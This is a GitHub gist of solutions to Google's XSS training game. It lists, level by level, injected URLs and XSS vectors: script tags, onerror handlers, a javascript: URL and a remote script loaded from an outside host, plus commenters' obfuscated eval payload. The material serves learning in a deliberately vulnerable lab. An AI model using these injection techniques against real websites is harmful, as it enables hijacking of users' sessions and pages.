Skip to content

Instantly share code, notes, and snippets.

@djadmin
Created March 15, 2015 15:31
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save djadmin/737a77b87d0bad8a9c79 to your computer and use it in GitHub Desktop.
Save djadmin/737a77b87d0bad8a9c79 to your computer and use it in GitHub Desktop.
Google's XSS-Game Solutions
Below are the solutions to Google XSS challenges hosted on https://xss-game.appspot.com/
########################## Level 1: Hello, world of XSS ##########################
*** Query ***
https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>
*** Vector ***
<script>alert(1)</script>
########################## Level 2: Persistence is key ##########################
*** Vector ***
"><img src=x onerror=alert(1)>
########################## Level 3: That sinking feeling... ##########################
*** Query ***
https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>
*** Vector ***
'/><script>alert(1)</script>
########################## Level 4: Context matters ##########################
*** Query ***
https://xss-game.appspot.com/level4/frame?timer=1')%3Balert('1
*** Vector ***
1')%3Balert('1
########################## Level 5: Breaking protocol ##########################
*** Query ***
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
*** Vector ***
javascript:alert(1)
########################## Follow the 🐇 ##########################
*** Query ***
https://xss-game.appspot.com/level6/frame#HTTPS://dj-infosec.divshot.io/content.js
*** Vector ***
HTTPS://dj-infosec.divshot.io/content.js
@Ag3nt47
Copy link

Ag3nt47 commented Nov 25, 2022

'-eval("window'pro'%2B'mpt'")-'

@Ag3nt47
Copy link

Ag3nt47 commented Nov 25, 2022

'-eval("window'pro'%2B'mpt'")-'

@Ag3nt47
Copy link

Ag3nt47 commented Nov 25, 2022

'-eval("window'pro'%2B'mpt'")-'

@W1zarDddD
Copy link

Nothing is clear, please explain.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment